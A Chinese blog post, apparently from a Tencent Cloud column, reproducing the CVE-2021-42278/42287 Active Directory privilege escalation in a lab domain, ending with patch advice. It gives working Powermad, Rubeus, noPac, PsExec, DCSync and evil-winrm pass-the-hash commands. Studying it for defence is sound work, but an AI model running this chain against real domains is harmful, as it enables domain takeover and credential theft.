前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-42287/CVE-2021-42278分析复现

CVE-2021-42287/CVE-2021-42278分析复现

作者头像
Nayon
发布2023-04-17 19:41:45
8700
发布2023-04-17 19:41:45
举报
文章被收录于专栏:内网安全学习笔记

距离漏洞披露已经过了许久,现在终于有些空余时间用于学习复现这两个漏洞。

概括

  • CVE-2021-42278,机器账户的名称一般用$结尾,但AD并未对域内机器账户名进行验证。
  • CVE-2021-42287, 结合上述42278漏洞,创建一个与DC机器账户名称相同的机器账户(不以$结尾),使用该账户请求一个TGT后,修改账户名,然后通过S4U2Self申请TGS Ticket,然后DC进行在TGS_REP阶段加密TGS Ticket时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket,提供一个属于该账户的PAC,我们便可得到一个高权限的ST。

攻击流程:

  1. 首先创建一个机器账户
  2. 清除机器账户的servicePrincipalName属性
  3. 将机器账户的sAMAccountName修改为DC的机器账户名,但不带$
  4. 使用机器账户的身份请求TGT
  5. 将机器账户的sAMAccountName修改为其他值,不能与DC的机器账户名重复。
  6. 通过S4U2Self向KDC申请ST
  7. 拿到高权限ST票据,完成利用。

利用原理:如果域内存在一台域控名为DC(机器账户为DC)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。

复现过程:

手动实现
1.创建机器账户

拿到域成员权限后,利用Powermad.ps1创建机器用户

代码语言:javascript
复制
Import-Module Poweremad.ps1
New-MachineAccount -MachineAccount Nayon

验证是否添加成功

代码语言:javascript
复制
net group "domain computers" /domain
image-20220302184058328
image-20220302184058328
2.擦除SPN记录信息

注册机器账户后,会自动在Nayon$的名下注册SPN服务,此时我们需要擦除,免于影响我们接下来的操作。

代码语言:javascript
复制
Get-DomainObject "CN=Nayon,CN=Computers,DC=attack",DC="local" #查看Nayon$用户下的信息
Set-DomainObject "CN=Nayon,CN=Computers,DC=attack,DC=local" -Clear 'serviceprincipalname' -Verbose #擦除SPN服务
image-20220302224406626
image-20220302224406626
image-20220302224910302
image-20220302224910302

此时已将记录清除。

3.修改samaccountname伪造机器账户名
代码语言:javascript
复制
Set-MachineAccountAttribute -MachineAccount 机器账户名 -Value "要伪造的机器账户名(无$)" -Attribute
samaccountname -Verbose
net group "domain computers" /domain
image-20220302225727545
image-20220302225727545

此时可以看到,我们的Nayon$用户,在修改了samaccountname值后,用户名已改为DC

4.申请TGT票据

由于知道机器账户的明文密码,我们可以直接使用Rubeus申请TGT票据

代码语言:javascript
复制
Rubeus.exe asktgt /user:DC /password:******* /domain:attack.local /dc:attack.local /nowrap

注: nowrap 选项,票据不换行,便于我们导出为文件

image-20220302231105438
image-20220302231105438
5.再次修改samaccountname

将拿到的票据保存,并继续修改Nayon$用户的samaccountname,使其不为DC

代码语言:javascript
复制
Set-MachineAccountAttribute -MachineAccount Nayon -Value "Nayon" -Attribute
image-20220302231452272
image-20220302231452272
6.借用DC用户的TGT去DC$的ST票据

利用Rubeus实现

代码语言:javascript
复制
Rubeus.exe s4u /self /impersonateuser:"Administrator"
/altservice:"cifs/dc.attack.local" /dc:"dc.attack.local" /ptt
/ticket:xxxxxxxxxxxxxxxxxxxxxxxx
image-20220302233836680
image-20220302233836680

此时已拥有访问dc的共享目录权限。

代码语言:javascript
复制
dir \\dc\c$
image-20220302234949690
image-20220302234949690
自动化实现

使用noPac项目实现:

代码语言:javascript
复制
https://github.com/cube0x0/noPac

项目下载地址,需本地自行编译。

代码语言:javascript
复制
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local
/mAccount test /mPassword test0123 /service cifs /ptt
image-20220303123150880
image-20220303123150880

Psexec方式直接Getshell

若要通过此方式获得shell,在前一步仅获得cifs服务的权限还不够,我们还需要申请拿到host服务的权限

代码语言:javascript
复制
PsExec64.exe \\dc.attack.local cmd
image-20220303123319064
image-20220303123319064

Dcsync拖取域内所有hash

想要拖取域内hash,我们可以利用漏洞申请ldap服务的ST票据,PTT加载后,通过mimikatz申请

代码语言:javascript
复制
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local /mAccount test /mPassword test0123 /service ldap /ptt
image-20220303124511355
image-20220303124511355

拿到hash后利用Evil-Winrm登陆域控getshell,当然,此处也可使用impacket套件。

代码语言:javascript
复制
evil-winrm -i 10.10.10.165 -u Administrator -H "dbf36575210cc5a38ab4050cc6a2e9aa" 
image-20220303125032356
image-20220303125032356

关于漏洞修复

  • 安装微软官方的:KB5008602、KB5008380补丁。
  • 通过ADSI编辑器将AD域的MAQ配置为0,中断漏洞的利用链。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-03-012,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概括
  • 攻击流程:
  • 复现过程:
    • 手动实现
      • 1.创建机器账户
      • 2.擦除SPN记录信息
      • 3.修改samaccountname伪造机器账户名
      • 4.申请TGT票据
      • 5.再次修改samaccountname值
      • 6.借用DC用户的TGT去DC$的ST票据
    • 自动化实现
    • Psexec方式直接Getshell
    • Dcsync拖取域内所有hash
    • 关于漏洞修复
    相关产品与服务
    脆弱性检测服务
    脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档